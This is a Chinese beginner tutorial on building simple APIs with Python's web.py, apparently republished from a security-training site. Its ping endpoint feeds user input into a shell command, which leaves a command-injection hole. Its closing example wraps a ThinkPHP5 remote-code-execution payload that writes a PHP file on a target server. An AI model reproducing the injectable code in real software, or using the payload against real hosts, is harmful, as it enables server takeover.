zoukankan      html  css  js  c++  java
  • Python3菜鸟教程丨基于Web模块的轻量级接口设计基础

    看着互联网上各种各样的API接口十分欢喜,奈何因为收费望而却步,于是笔者在经过网上信息检索后,选择了最简单的Python3 Web.py 库作为菜鸟入门学习教程,并实现一些小功能,希望对萌新小白们有所帮助!

     

    注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

    开发环境:

    系统:安卓10

    工具:Termux

    编辑器:vim

    语言:Python3

    上传方法:ftp协议

    调试环境:

    系统:Windows2008(阿里云)

    环境:Python3.7.6 + Web.py

    说明:建议要使用最适合自己的开发环境,在win环境可以选择VS Code等编辑器来开发。

    如何安装运营环境

    服务器端安装示例(Windows 2008)

    • Python3环境的安装:

    对于Python3的安装,你只需要到官网下载适合你的安装包安装即可!

    如果你下载的是ZIP包,请自己配置好环境变量,如果你是下载的可视化安装程序,请记得勾选添加环境变量选项!

    • Web.py 库的安装:

    在开始安装之前,请记得在PowerShell里执行下面的命令,我们需要先升级pip,升级命令是这样:

    pip install --upgrade pip

    在升级完成后,便可以开始安装我们需要的Web库了。

    pip install web.py

    如何编写

    如同众多编程语言一般,我们先来写个HelloWord:

    文件名:sever.py

    #-*- coding:utf-8 -*-
    
    import web #导入web库
    
    #URL控制
    urls = (
        #访问index的时候,执行index方法
        '/index(.*)', 'index',
    )
    
    #index方法
    class index:
        def GET(self, text):
            index = "hello word!"
            return index
    
    #主函数开始
    if __name__ == "__main__":
        app = web.application(urls, globals())
        app.run()

    接着我们在指定端口执行这个脚本:

    python sever.py 80

    此时,我们访问:127.0.0.1:80,应该在浏览器中能看到这样的内容:

    hello word!

    这就满足了吗?

    不,最起码,得有个漂亮的样式,经过简单的搜索,发现Web.py提供的方法太麻烦了,于是,我们可以这样:

    请注意,此刻我们不需要去暂停控制台,可以直接去修改代码后刷新浏览器就好了!

    先在跟Sever.py同一目录下创建index.html,这个html里的文件自己想写啥就写啥,然后我们修改代码:

    #index方法
    class index:
        def GET(self, text):
            index = open("./index.html", 'r',encoding="utf-8")
            index = index.read()
            return index

    接着再来刷新浏览器,就会发现界面变成了你想要的样子,这说明html文件里的标签被渲染了。

    如何开发API

    有这样一道题:给定这样几个字母:a,e,t,请组成单词。

    笔者的代码:

    import sys
    from itertools import permutations
    
    def exhaustive_combination_def(exhaustive_combination):
        b = ""
        arr = exhaustive_combination.split(",")
        for a in permutations(arr):
            a = "".join(a)
            b = b + a + ","
            #print(a)
        return b
    
    if __name__ == "__main__":
        i="a,e,t"
        i=exhaustive_combination_def(i)
        print(i)

    执行后,我收获了结果:

    aet,ate,eat,eta,tae,tea,

    放到百度翻译,人生圆满了。

    为了维护方便,我们API是一个py文件,sever是一个文件,这样最好。

     

    api.py

    #-*- coding:utf-8 -*-
    
    import sys
    from itertools import permutations
    
    def exhaustive_combination_def(exhaustive_combination):
        b = ""
        dzarr = exhaustive_combination.split(",")
        for a in permutations(dzarr):
            a = "".join(a)
            b = b + a + ","
        return b

    sever.py

    #-*- coding:utf-8 -*-
    
    import web #导入web库
    #从文件api.py中引用自定义函数:exhaustive_combination_def
    from api import exhaustive_combination_def
    
    #URL控制
    urls = (
        #访问index的时候,执行index方法
        '/index(.*)', 'index',
        #访问api_one,执行exhaustive_combination方法
        '/api_one/(.*)', 'exhaustive_combination',
    )
    
    #exhaustive_combination方法
    class exhaustive_combination:
        #text接收的是get请求内容
        def GET(self, text):
            #变量 a 接收传回的返回值
            a=exhaustive_combination_def(text)
            #返回 a 的内容给浏览器
            return a
    
    index方法
    class index:
        def GET(self, text):
            index = open("./index.html", 'r',encoding="utf-8")
            index = index.read()
            return index
    
    if __name__ == "__main__":
        app = web.application(urls, globals())
        app.run()

    访问地址:

    http://127.0.0.1/api_one/a,e,t

    成功在浏览器返回:

    aet,ate,eat,eta,tae,tea,

    这样一个简单的API就写好了。

    这个时候,我们可以完全通过python写一个自己想要的API。

    比如,我们来写一个返回Ping命令结果的:

    ping.py

    # -*- coding: utf-8 -*-
    import subprocess  
    import re
    
    def ping_url(url):
        ping = subprocess.Popen(["ping.exe", url],
          stdin = subprocess.PIPE,
          stdout = subprocess.PIPE,
          stderr = subprocess.PIPE,
          shell = True)  
        out = ping.stdout.read()
        out = out.decode('gbk')
        return out

    sever.py

    #-*- coding:utf-8 -*-
    
    import web #导入web库
    #从文件api.py中引用自定义函数:exhaustive_combination_def
    from api import exhaustive_combination_def
    #从文件ping.py中引用自定义函数:ping_url
    from ping import ping_url
    
    #URL控制
    urls = (
        #访问index的时候,执行index方法
        '/index(.*)', 'index',
        #访问api_one,执行exhaustive_combination方法
        '/api_one/(.*)', 'exhaustive_combination',
        #访问ping,执行ping方法
        '/ping_api/(.*)','ping_api',
    )
    
    #ping方法
    class ping_api:
        def GET(self, text):
            a = "<html><head><meta charset="utf-8"><pre>"
            b = ping_url(text)
            c = "</pre></head></html>"
            a = a + b + c
            return a
    
    #exhaustive_combination方法
    class exhaustive_combination:
        #text接收的是get请求内容
        def GET(self, text):
            #变量 a 接收传回的返回值
            a=exhaustive_combination_def(text)
            #返回 a 的内容给浏览器
            return a
    
    #index方法
    class index:
        def GET(self, text):
            index = open("./index.html", 'r',encoding="utf-8")
            index = index.read()
            return index
    
    if __name__ == "__main__":
        app = web.application(urls, globals())
        app.run()

    访问:

    http://127.0.0.1/ping_api/www.20191005.tech

    成功返回内容:

    正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 字节的数据:
    来自 150.109.19.98 的回复: 字节=32 时间=949ms TTL=47
    来自 150.109.19.98 的回复: 字节=32 时间=1111ms TTL=47
    来自 150.109.19.98 的回复: 字节=32 时间=1162ms TTL=47
    来自 150.109.19.98 的回复: 字节=32 时间=1156ms TTL=47
    
    150.109.19.98 的 Ping 统计信息:
        数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
    往返行程的估计时间(以毫秒为单位):
        最短 = 949ms,最长 = 1162ms,平均 = 1094ms

    扩展设想

    在编写工具时,我们很多时候用到的语言都是Python,然而我们编写的一些图形化工具随着不断的流传,很容易流传到不法分子手中,我们完全可以通过这种API式的去开发工具。

    当工具流窜出去,我们要阻止不法分子的时候,可以直接在服务器端ban了他的ip ,直接导致你的工具在他手中无法使用,或者直接改变接口参数,导致不法分子的工具失效,当然为了安全性可以加上一个基于接口的验证方案,来验证工具的使用者。

     

    拿thinkphp5来做一个例子:

    样例自定义函数:

    #-*- coding:utf-8 -*-
    import requests
    import re
    
    #命令执行
    def thinkphp5_api(url):
        poc = "?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"
        filename ="name.php"
        url = str(url + poc + filename)
        try:
            page = requests.get(url)
            zhuangtia = page.status_code
            qingqiutou = page.headers
            a = "【*】请求状态:" + str(zhuangtia) + "
    【*】写入路径:" + filename + "
    【*】请求头:
    " + str(qingqiutou)
            return a
        except:
            return "写入状态异常!"

    实际效果:

     

    这种方法笔者认为非常便于控制工具的流通,你只需要通过指定你允许的IP可以访问到服务器API,就可以将工具放心的传给团队内的其他使用者!

    如果本文激发了你对API开发的想法,不妨去试一试,对于Windows图形界面程序的开发,多种多样,你可以选择C#的WPF或者易语言,这两者对于图形界面的开发基本都是直接绘制,上手速度更加快速!

  • 相关阅读:
    pgspider sqlite mysql docker 镜像
    pgspider docker 镜像
    pgspider基于pg 的高性能数据可视化sql 集群引擎
    diesel rust orm 框架试用
    golang 条件编译
    Performance Profiling Zeebe
    bazel 学习一 简单java 项目运行
    一个好用node http keeplive agnet
    gox 简单灵活的golang 跨平台编译工具
    mailhog 作为smtp server mock工具
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/12303548.html
Copyright © 2011-2022 走看看